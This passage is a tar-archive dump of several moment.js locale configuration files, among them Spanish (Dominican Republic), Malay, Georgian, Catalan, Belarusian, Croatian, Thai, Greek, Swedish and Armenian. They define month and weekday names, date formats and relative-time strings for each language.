: 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }, relativeTime : { future : 'in %s', past : '%s ago', s : 'a few seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; } }); locale/es-do.js000064400000006326151677412300007365 0ustar00//! moment.js locale configuration //! locale : Spanish (Dominican Republic) [es-do] import moment from '../moment'; var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split('_'), monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_'); var monthsParse = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; var monthsRegex = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; export default moment.defineLocale('es-do', { months : 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split('_'), monthsShort : function (m, format) { if (!m) { return monthsShortDot; } else if (/-MMM-/.test(format)) { return monthsShort[m.month()]; } else { return monthsShortDot[m.month()]; } }, monthsRegex: monthsRegex, monthsShortRegex: monthsRegex, monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, monthsParse: monthsParse, longMonthsParse: monthsParse, shortMonthsParse: monthsParse, weekdays : 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'), weekdaysShort : 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'), weekdaysMin : 'do_lu_ma_mi_ju_vi_sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D [de] MMMM [de] YYYY', LLL : 'D [de] MMMM [de] YYYY h:mm A', LLLL : 'dddd, D [de] MMMM [de] YYYY h:mm A' }, calendar : { sameDay : function () { return '[hoy a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, nextDay : function () { return '[mañana a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, nextWeek : function () { return 'dddd [a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, lastDay : function () { return '[ayer a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, lastWeek : function () { return '[el] dddd [pasado a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, sameElse : 'L' }, relativeTime : { future : 'en %s', past : 'hace %s', s : 'unos segundos', ss : '%d segundos', m : 'un minuto', mm : '%d minutos', h : 'una hora', hh : '%d horas', d : 'un día', dd : '%d días', M : 'un mes', MM : '%d meses', y : 'un año', yy : '%d años' }, dayOfMonthOrdinalParse : /\d{1,2}º/, ordinal : '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ms-my.js000064400000004572151677412300007421 0ustar00//! moment.js locale configuration //! locale : Malay [ms-my] //! note : DEPRECATED, the correct one is [ms] //! author : Weldan Jamili : https://github.com/weldan import moment from '../moment'; export default moment.defineLocale('ms-my', { months : 'Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember'.split('_'), monthsShort : 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis'.split('_'), weekdays : 'Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu'.split('_'), weekdaysShort : 'Ahd_Isn_Sel_Rab_Kha_Jum_Sab'.split('_'), weekdaysMin : 'Ah_Is_Sl_Rb_Km_Jm_Sb'.split('_'), longDateFormat : { LT : 'HH.mm', LTS : 'HH.mm.ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY [pukul] HH.mm', LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm' }, meridiemParse: /pagi|tengahari|petang|malam/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'pagi') { return hour; } else if (meridiem === 'tengahari') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'petang' || meridiem === 'malam') { return hour + 12; } }, meridiem : function (hours, minutes, isLower) { if (hours < 11) { return 'pagi'; } else if (hours < 15) { return 'tengahari'; } else if (hours < 19) { return 'petang'; } else { return 'malam'; } }, calendar : { sameDay : '[Hari ini pukul] LT', nextDay : '[Esok pukul] LT', nextWeek : 'dddd [pukul] LT', lastDay : '[Kelmarin pukul] LT', lastWeek : 'dddd [lepas pukul] LT', sameElse : 'L' }, relativeTime : { future : 'dalam %s', past : '%s yang lepas', s : 'beberapa saat', ss : '%d saat', m : 'seminit', mm : '%d minit', h : 'sejam', hh : '%d jam', d : 'sehari', dd : '%d hari', M : 'sebulan', MM : '%d bulan', y : 'setahun', yy : '%d tahun' }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/ka.js000064400000007216151677412300006750 0ustar00//! moment.js locale configuration //! locale : Georgian [ka] //! author : Irakli Janiashvili : https://github.com/irakli-janiashvili import moment from '../moment'; export default moment.defineLocale('ka', { months : { standalone: 'იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი'.split('_'), format: 'იანვარს_თებერვალს_მარტს_აპრილის_მაისს_ივნისს_ივლისს_აგვისტს_სექტემბერს_ოქტომბერს_ნოემბერს_დეკემბერს'.split('_') }, monthsShort : 'იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ'.split('_'), weekdays : { standalone: 'კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი'.split('_'), format: 'კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს'.split('_'), isFormat: /(წინა|შემდეგ)/ }, weekdaysShort : 'კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ'.split('_'), weekdaysMin : 'კვ_ორ_სა_ოთ_ხუ_პა_შა'.split('_'), longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY h:mm A', LLLL : 'dddd, D MMMM YYYY h:mm A' }, calendar : { sameDay : '[დღეს] LT[-ზე]', nextDay : '[ხვალ] LT[-ზე]', lastDay : '[გუშინ] LT[-ზე]', nextWeek : '[შემდეგ] dddd LT[-ზე]', lastWeek : '[წინა] dddd LT-ზე', sameElse : 'L' }, relativeTime : { future : function (s) { return (/(წამი|წუთი|საათი|წელი)/).test(s) ? s.replace(/ი$/, 'ში') : s + 'ში'; }, past : function (s) { if ((/(წამი|წუთი|საათი|დღე|თვე)/).test(s)) { return s.replace(/(ი|ე)$/, 'ის წინ'); } if ((/წელი/).test(s)) { return s.replace(/წელი$/, 'წლის წინ'); } }, s : 'რამდენიმე წამი', ss : '%d წამი', m : 'წუთი', mm : '%d წუთი', h : 'საათი', hh : '%d საათი', d : 'დღე', dd : '%d დღე', M : 'თვე', MM : '%d თვე', y : 'წელი', yy : '%d წელი' }, dayOfMonthOrdinalParse: /0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/, ordinal : function (number) { if (number === 0) { return number; } if (number === 1) { return number + '-ლი'; } if ((number < 20) || (number <= 100 && (number % 20 === 0)) || (number % 100 === 0)) { return 'მე-' + number; } return number + '-ე'; }, week : { dow : 1, doy : 7 } }); locale/ca.js000064400000005500151677412300006732 0ustar00//! moment.js locale configuration //! locale : Catalan [ca] //! author : Juan G. Hurtado : https://github.com/juanghurtado import moment from '../moment'; export default moment.defineLocale('ca', { months : { standalone: 'gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre'.split('_'), format: 'de gener_de febrer_de març_d\'abril_de maig_de juny_de juliol_d\'agost_de setembre_d\'octubre_de novembre_de desembre'.split('_'), isFormat: /D[oD]?(\s)+MMMM/ }, monthsShort : 'gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.'.split('_'), monthsParseExact : true, weekdays : 'diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte'.split('_'), weekdaysShort : 'dg._dl._dt._dc._dj._dv._ds.'.split('_'), weekdaysMin : 'dg_dl_dt_dc_dj_dv_ds'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM [de] YYYY', ll : 'D MMM YYYY', LLL : 'D MMMM [de] YYYY [a les] H:mm', lll : 'D MMM YYYY, H:mm', LLLL : 'dddd D MMMM [de] YYYY [a les] H:mm', llll : 'ddd D MMM YYYY, H:mm' }, calendar : { sameDay : function () { return '[avui a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT'; }, nextDay : function () { return '[demà a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT'; }, nextWeek : function () { return 'dddd [a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT'; }, lastDay : function () { return '[ahir a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT'; }, lastWeek : function () { return '[el] dddd [passat a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT'; }, sameElse : 'L' }, relativeTime : { future : 'd\'aquí %s', past : 'fa %s', s : 'uns segons', ss : '%d segons', m : 'un minut', mm : '%d minuts', h : 'una hora', hh : '%d hores', d : 'un dia', dd : '%d dies', M : 'un mes', MM : '%d mesos', y : 'un any', yy : '%d anys' }, dayOfMonthOrdinalParse: /\d{1,2}(r|n|t|è|a)/, ordinal : function (number, period) { var output = (number === 1) ? 'r' : (number === 2) ? 'n' : (number === 3) ? 'r' : (number === 4) ? 't' : 'è'; if (period === 'w' || period === 'W') { output = 'a'; } return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/be.js000064400000011732151677412300006741 0ustar00//! moment.js locale configuration //! locale : Belarusian [be] //! author : Dmitry Demidov : https://github.com/demidov91 //! author: Praleska: http://praleska.pro/ //! Author : Menelion Elensúle : https://github.com/Oire import moment from '../moment'; function plural(word, num) { var forms = word.split('_'); return num % 10 === 1 && num % 100 !== 11 ? forms[0] : (num % 10 >= 2 && num % 10 <= 4 && (num % 100 < 10 || num % 100 >= 20) ? forms[1] : forms[2]); } function relativeTimeWithPlural(number, withoutSuffix, key) { var format = { 'ss': withoutSuffix ? 'секунда_секунды_секунд' : 'секунду_секунды_секунд', 'mm': withoutSuffix ? 'хвіліна_хвіліны_хвілін' : 'хвіліну_хвіліны_хвілін', 'hh': withoutSuffix ? 'гадзіна_гадзіны_гадзін' : 'гадзіну_гадзіны_гадзін', 'dd': 'дзень_дні_дзён', 'MM': 'месяц_месяцы_месяцаў', 'yy': 'год_гады_гадоў' }; if (key === 'm') { return withoutSuffix ? 'хвіліна' : 'хвіліну'; } else if (key === 'h') { return withoutSuffix ? 'гадзіна' : 'гадзіну'; } else { return number + ' ' + plural(format[key], +number); } } export default moment.defineLocale('be', { months : { format: 'студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня'.split('_'), standalone: 'студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань'.split('_') }, monthsShort : 'студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж'.split('_'), weekdays : { format: 'нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу'.split('_'), standalone: 'нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота'.split('_'), isFormat: /\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/ }, weekdaysShort : 'нд_пн_ат_ср_чц_пт_сб'.split('_'), weekdaysMin : 'нд_пн_ат_ср_чц_пт_сб'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY г.', LLL : 'D MMMM YYYY г., HH:mm', LLLL : 'dddd, D MMMM YYYY г., HH:mm' }, calendar : { sameDay: '[Сёння ў] LT', nextDay: '[Заўтра ў] LT', lastDay: '[Учора ў] LT', nextWeek: function () { return '[У] dddd [ў] LT'; }, lastWeek: function () { switch (this.day()) { case 0: case 3: case 5: case 6: return '[У мінулую] dddd [ў] LT'; case 1: case 2: case 4: return '[У мінулы] dddd [ў] LT'; } }, sameElse: 'L' }, relativeTime : { future : 'праз %s', past : '%s таму', s : 'некалькі секунд', m : relativeTimeWithPlural, mm : relativeTimeWithPlural, h : relativeTimeWithPlural, hh : relativeTimeWithPlural, d : 'дзень', dd : relativeTimeWithPlural, M : 'месяц', MM : relativeTimeWithPlural, y : 'год', yy : relativeTimeWithPlural }, meridiemParse: /ночы|раніцы|дня|вечара/, isPM : function (input) { return /^(дня|вечара)$/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'ночы'; } else if (hour < 12) { return 'раніцы'; } else if (hour < 17) { return 'дня'; } else { return 'вечара'; } }, dayOfMonthOrdinalParse: /\d{1,2}-(і|ы|га)/, ordinal: function (number, period) { switch (period) { case 'M': case 'd': case 'DDD': case 'w': case 'W': return (number % 10 === 2 || number % 10 === 3) && (number % 100 !== 12 && number % 100 !== 13) ? number + '-і' : number + '-ы'; case 'D': return number + '-га'; default: return number; } }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/ar-kw.js000064400000003657151677412300007403 0ustar00//! moment.js locale configuration //! locale : Arabic (Kuwait) [ar-kw] //! author : Nusret Parlak: https://github.com/nusretparlak import moment from '../moment'; export default moment.defineLocale('ar-kw', { months : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'), monthsShort : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'), weekdays : 'الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort : 'احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[اليوم على الساعة] LT', nextDay: '[غدا على الساعة] LT', nextWeek: 'dddd [على الساعة] LT', lastDay: '[أمس على الساعة] LT', lastWeek: 'dddd [على الساعة] LT', sameElse: 'L' }, relativeTime : { future : 'في %s', past : 'منذ %s', s : 'ثوان', ss : '%d ثانية', m : 'دقيقة', mm : '%d دقائق', h : 'ساعة', hh : '%d ساعات', d : 'يوم', dd : '%d أيام', M : 'شهر', MM : '%d أشهر', y : 'سنة', yy : '%d سنوات' }, week : { dow : 0, // Sunday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/hr.js000064400000011261151677412300006761 0ustar00//! moment.js locale configuration //! locale : Croatian [hr] //! author : Bojan Marković : https://github.com/bmarkovic import moment from '../moment'; function translate(number, withoutSuffix, key) { var result = number + ' '; switch (key) { case 'ss': if (number === 1) { result += 'sekunda'; } else if (number === 2 || number === 3 || number === 4) { result += 'sekunde'; } else { result += 'sekundi'; } return result; case 'm': return withoutSuffix ? 'jedna minuta' : 'jedne minute'; case 'mm': if (number === 1) { result += 'minuta'; } else if (number === 2 || number === 3 || number === 4) { result += 'minute'; } else { result += 'minuta'; } return result; case 'h': return withoutSuffix ? 'jedan sat' : 'jednog sata'; case 'hh': if (number === 1) { result += 'sat'; } else if (number === 2 || number === 3 || number === 4) { result += 'sata'; } else { result += 'sati'; } return result; case 'dd': if (number === 1) { result += 'dan'; } else { result += 'dana'; } return result; case 'MM': if (number === 1) { result += 'mjesec'; } else if (number === 2 || number === 3 || number === 4) { result += 'mjeseca'; } else { result += 'mjeseci'; } return result; case 'yy': if (number === 1) { result += 'godina'; } else if (number === 2 || number === 3 || number === 4) { result += 'godine'; } else { result += 'godina'; } return result; } } export default moment.defineLocale('hr', { months : { format: 'siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca'.split('_'), standalone: 'siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac'.split('_') }, monthsShort : 'sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.'.split('_'), monthsParseExact: true, weekdays : 'nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota'.split('_'), weekdaysShort : 'ned._pon._uto._sri._čet._pet._sub.'.split('_'), weekdaysMin : 'ne_po_ut_sr_če_pe_su'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY H:mm', LLLL : 'dddd, D. MMMM YYYY H:mm' }, calendar : { sameDay : '[danas u] LT', nextDay : '[sutra u] LT', nextWeek : function () { switch (this.day()) { case 0: return '[u] [nedjelju] [u] LT'; case 3: return '[u] [srijedu] [u] LT'; case 6: return '[u] [subotu] [u] LT'; case 1: case 2: case 4: case 5: return '[u] dddd [u] LT'; } }, lastDay : '[jučer u] LT', lastWeek : function () { switch (this.day()) { case 0: case 3: return '[prošlu] dddd [u] LT'; case 6: return '[prošle] [subote] [u] LT'; case 1: case 2: case 4: case 5: return '[prošli] dddd [u] LT'; } }, sameElse : 'L' }, relativeTime : { future : 'za %s', past : 'prije %s', s : 'par sekundi', ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : 'dan', dd : translate, M : 'mjesec', MM : translate, y : 'godinu', yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/th.js000064400000005220151677412300006761 0ustar00//! moment.js locale configuration //! locale : Thai [th] //! author : Kridsada Thanabulpong : https://github.com/sirn import moment from '../moment'; export default moment.defineLocale('th', { months : 'มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม'.split('_'), monthsShort : 'ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.'.split('_'), monthsParseExact: true, weekdays : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์'.split('_'), weekdaysShort : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์'.split('_'), // yes, three characters difference weekdaysMin : 'อา._จ._อ._พ._พฤ._ศ._ส.'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY เวลา H:mm', LLLL : 'วันddddที่ D MMMM YYYY เวลา H:mm' }, meridiemParse: /ก่อนเที่ยง|หลังเที่ยง/, isPM: function (input) { return input === 'หลังเที่ยง'; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ก่อนเที่ยง'; } else { return 'หลังเที่ยง'; } }, calendar : { sameDay : '[วันนี้ เวลา] LT', nextDay : '[พรุ่งนี้ เวลา] LT', nextWeek : 'dddd[หน้า เวลา] LT', lastDay : '[เมื่อวานนี้ เวลา] LT', lastWeek : '[วัน]dddd[ที่แล้ว เวลา] LT', sameElse : 'L' }, relativeTime : { future : 'อีก %s', past : '%sที่แล้ว', s : 'ไม่กี่วินาที', ss : '%d วินาที', m : '1 นาที', mm : '%d นาที', h : '1 ชั่วโมง', hh : '%d ชั่วโมง', d : '1 วัน', dd : '%d วัน', M : '1 เดือน', MM : '%d เดือน', y : '1 ปี', yy : '%d ปี' } }); locale/el.js000064400000007241151677412300006753 0ustar00//! moment.js locale configuration //! locale : Greek [el] //! author : Aggelos Karalias : https://github.com/mehiel import moment from '../moment'; import isFunction from '../lib/utils/is-function'; export default moment.defineLocale('el', { monthsNominativeEl : 'Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος'.split('_'), monthsGenitiveEl : 'Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου'.split('_'), months : function (momentToFormat, format) { if (!momentToFormat) { return this._monthsNominativeEl; } else if (typeof format === 'string' && /D/.test(format.substring(0, format.indexOf('MMMM')))) { // if there is a day number before 'MMMM' return this._monthsGenitiveEl[momentToFormat.month()]; } else { return this._monthsNominativeEl[momentToFormat.month()]; } }, monthsShort : 'Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ'.split('_'), weekdays : 'Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο'.split('_'), weekdaysShort : 'Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ'.split('_'), weekdaysMin : 'Κυ_Δε_Τρ_Τε_Πε_Πα_Σα'.split('_'), meridiem : function (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'μμ' : 'ΜΜ'; } else { return isLower ? 'πμ' : 'ΠΜ'; } }, isPM : function (input) { return ((input + '').toLowerCase()[0] === 'μ'); }, meridiemParse : /[ΠΜ]\.?Μ?\.?/i, longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY h:mm A', LLLL : 'dddd, D MMMM YYYY h:mm A' }, calendarEl : { sameDay : '[Σήμερα {}] LT', nextDay : '[Αύριο {}] LT', nextWeek : 'dddd [{}] LT', lastDay : '[Χθες {}] LT', lastWeek : function () { switch (this.day()) { case 6: return '[το προηγούμενο] dddd [{}] LT'; default: return '[την προηγούμενη] dddd [{}] LT'; } }, sameElse : 'L' }, calendar : function (key, mom) { var output = this._calendarEl[key], hours = mom && mom.hours(); if (isFunction(output)) { output = output.apply(mom); } return output.replace('{}', (hours % 12 === 1 ? 'στη' : 'στις')); }, relativeTime : { future : 'σε %s', past : '%s πριν', s : 'λίγα δευτερόλεπτα', ss : '%d δευτερόλεπτα', m : 'ένα λεπτό', mm : '%d λεπτά', h : 'μία ώρα', hh : '%d ώρες', d : 'μία μέρα', dd : '%d μέρες', M : 'ένας μήνας', MM : '%d μήνες', y : 'ένας χρόνος', yy : '%d χρόνια' }, dayOfMonthOrdinalParse: /\d{1,2}η/, ordinal: '%dη', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4st is the first week of the year. } }); locale/tzm-latn.js000064400000003274151677412300010123 0ustar00//! moment.js locale configuration //! locale : Central Atlas Tamazight Latin [tzm-latn] //! author : Abdel Said : https://github.com/abdelsaid import moment from '../moment'; export default moment.defineLocale('tzm-latn', { months : 'innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir'.split('_'), monthsShort : 'innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir'.split('_'), weekdays : 'asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas'.split('_'), weekdaysShort : 'asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas'.split('_'), weekdaysMin : 'asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[asdkh g] LT', nextDay: '[aska g] LT', nextWeek: 'dddd [g] LT', lastDay: '[assant g] LT', lastWeek: 'dddd [g] LT', sameElse: 'L' }, relativeTime : { future : 'dadkh s yan %s', past : 'yan %s', s : 'imik', ss : '%d imik', m : 'minuḍ', mm : '%d minuḍ', h : 'saɛa', hh : '%d tassaɛin', d : 'ass', dd : '%d ossan', M : 'ayowr', MM : '%d iyyirn', y : 'asgas', yy : '%d isgasn' }, week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/sv.js000064400000003721151677412300007002 0ustar00//! moment.js locale configuration //! locale : Swedish [sv] //! author : Jens Alm : https://github.com/ulmus import moment from '../moment'; export default moment.defineLocale('sv', { months : 'januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december'.split('_'), monthsShort : 'jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec'.split('_'), weekdays : 'söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag'.split('_'), weekdaysShort : 'sön_mån_tis_ons_tor_fre_lör'.split('_'), weekdaysMin : 'sö_må_ti_on_to_fr_lö'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY-MM-DD', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY [kl.] HH:mm', LLLL : 'dddd D MMMM YYYY [kl.] HH:mm', lll : 'D MMM YYYY HH:mm', llll : 'ddd D MMM YYYY HH:mm' }, calendar : { sameDay: '[Idag] LT', nextDay: '[Imorgon] LT', lastDay: '[Igår] LT', nextWeek: '[På] dddd LT', lastWeek: '[I] dddd[s] LT', sameElse: 'L' }, relativeTime : { future : 'om %s', past : 'för %s sedan', s : 'några sekunder', ss : '%d sekunder', m : 'en minut', mm : '%d minuter', h : 'en timme', hh : '%d timmar', d : 'en dag', dd : '%d dagar', M : 'en månad', MM : '%d månader', y : 'ett år', yy : '%d år' }, dayOfMonthOrdinalParse: /\d{1,2}(e|a)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'e' : (b === 1) ? 'a' : (b === 2) ? 'a' : (b === 3) ? 'e' : 'e'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/hy-am.js000064400000006271151677412300007370 0ustar00//! moment.js locale configuration //! locale : Armenian [hy-am] //! author : Armendarabyan : https://github.com/armendarabyan import moment from '../moment'; export default moment.defineLocale('hy-am', { months : { format: 'հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի'.split('_'), standalone: 'հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր'.split('_') }, monthsShort : 'հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ'.split('_'), weekdays : 'կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ'.split('_'), weekdaysShort : 'կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ'.split('_'), weekdaysMin : 'կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY թ.', LLL : 'D MMMM YYYY թ., HH:mm', LLLL : 'dddd, D MMMM YYYY թ., HH:mm' }, calendar : { sameDay: '[այսօր] LT', nextDay: '[վաղը] LT', lastDay: '[երեկ] LT', nextWeek: function () { return 'dddd [օրը ժամը] LT'; }, lastWeek: function () { return '[անցած] dddd [օրը ժամը] LT'; }, sameElse: 'L' }, relativeTime : { future : '%s հետո', past : '%s առաջ', s : 'մի քանի վայրկյան', ss : '%d վայրկյան', m : 'րոպե', mm : '%d րոպե', h : 'ժամ', hh : '%d ժամ', d : 'օր', dd : '%d օր', M : 'ամիս', MM : '%d ամիս', y : 'տարի', yy : '%d տարի' }, meridiemParse: 